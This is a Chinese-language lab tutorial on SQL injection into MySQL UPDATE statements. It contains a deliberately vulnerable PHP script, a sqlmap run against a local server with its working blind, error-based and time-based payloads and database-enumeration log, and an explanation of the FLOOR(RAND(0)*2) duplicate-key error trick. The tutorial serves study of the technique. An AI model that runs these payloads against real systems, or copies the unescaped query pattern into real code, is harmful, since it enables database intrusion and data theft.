SQL注入学习——update注入

[TOC]
##起因
update操作在数据库中用来更改数据,如果遇到这样的注入点,胡乱测试一通可能会引起不可恢复的错误,所以本地搭建环境写了个简单脚本测试下sqlmap是怎么注入update语句的注入点的。

##准备环境
###数据库设置
创建简单的表并插入数据

1
2
3
4
5
6
7
8
9
10
CREATE TABLE IF NOT EXISTS `atable` (
`userid` int(11) NOT NULL AUTO_INCREMENT,
`truename` varchar(32) NOT NULL,
`email` varchar(32) NOT NULL,
PRIMARY KEY (`userid`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ;

INSERT INTO `atable` (`userid`, `truename`, `email`) VALUES
(1, 'hello', '123123'),
(2, 'test', '111');

###有漏洞的PHP程序
创建有漏洞的php程序(sqli-update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
mysql_connect('localhost', 'root', 'root');
mysql_select_db('test');
$res = mysql_query('select names utf8');

if (isset($_GET)) {
$truename = $_GET['truename'];
$email = $_GET['email'];

var_dump($truename);
var_dump($email);

$sql = "UPDATE atable set `email`='$email' where `truename`='$truename'";

if (mysql_query($sql)) {
echo 'Success!';
}else{
echo "Failed!";
echo "<br/>";
echo mysql_error();
}
}else{
$sql='select * from atable';

$rows = mysql_query($sql);
while ($row = mysql_fetch_array($rows)) {
var_dump($row);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>SQLi UPDATE</title>
</head>
<body>
<form action='#' method="get">
用户名<input type="text" name="truename"><br/>
邮 箱<input type="text" name="email">
<input type="submit" name="submit" value="修改">
</form>
</body>
</html>
  1. sqlmap跑下加上v 3查看过程
    命令如下:sqlmap -u "http://192.168.1.110/test/sqli-update.php?truename=test&email=123123&submit=修改#" -p truename -v 3

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
GET parameter 'truename' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 436 HTTP(s) requests:
---
Parameter: truename (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: truename=test' RLIKE (SELECT (CASE WHEN (1387=1387) THEN 0x74657374 ELSE 0x28 END))-- yLoM&email=123123&submit=修改
Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: truename=test' AND (SELECT 5950 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT (ELT(5950=5950,1))),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- sDHA&email=123123&submit=修改
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: truename=test' AND SLEEP(5)-- gzuL&email=123123&submit=修改
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
[22:09:35] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[22:09:35] [INFO] fetching database names
[22:09:35] [DEBUG] searching for error chunk length...
[22:09:35] [PAYLOAD] test' AND (SELECT 7445 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x34,1024)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xlNW
[22:09:35] [PAYLOAD] test' AND (SELECT 6284 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x32,512)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- EObM
[22:09:35] [PAYLOAD] test' AND (SELECT 1981 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x36,256)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iJmF
[22:09:35] [PAYLOAD] test' AND (SELECT 4432 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT REPEAT(0x34,54)),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UOzJ
[22:09:35] [PAYLOAD] test' AND (SELECT 8781 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ZjQp
[22:09:35] [INFO] the SQL query used returns 4 entries
[22:09:35] [PAYLOAD] test' AND (SELECT 1538 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- enAv
[22:09:36] [INFO] retrieved: information_schema
[22:09:36] [PAYLOAD] test' AND (SELECT 2345 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Ozef
[22:09:36] [INFO] retrieved: mysql
[22:09:36] [PAYLOAD] test' AND (SELECT 4469 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zwdT
[22:09:36] [INFO] retrieved: performance_schema
[22:09:36] [PAYLOAD] test' AND (SELECT 2893 FROM(SELECT COUNT(*),CONCAT(0x71707a7171,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1),0x7176707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IOqF
[22:09:36] [INFO] retrieved: test
[22:09:36] [DEBUG] performed 9 queries in 0.62 seconds
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

##SQLMap的方式

提取SQLMap的注入语句,可发现如下关键注入方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UPDATE atable set `email`='111' where `truename`='test' 
AND
(SELECT 1538 FROM(
SELECT
COUNT(*),
CONCAT(
0x71707a7171,
(SELECT MID(
(IFNULL(
CAST(schema_name AS CHAR),0x20
)
),1,54
) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1
),
0x7176707671,
FLOOR(RAND(0)*2)
)x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x
)a
)-- enAv'

##产生错误的原因
当随机数种子为0的时候,表达式FLOOR(RAND(0)*2) 会返回如下结果:

1
2
3
4
5
6
7
8
9
10
11
> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...

因为第三个值和第二个值重复,所以产生了错误. 只要行数>3的表都可以作为FROM的表来用,不过information_schema.tablesinformation_schema.plugins较为常用。
其中,能够产生错误的两个必要条件是count(*)GROUP BY语句,缺一不可。

1
2
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'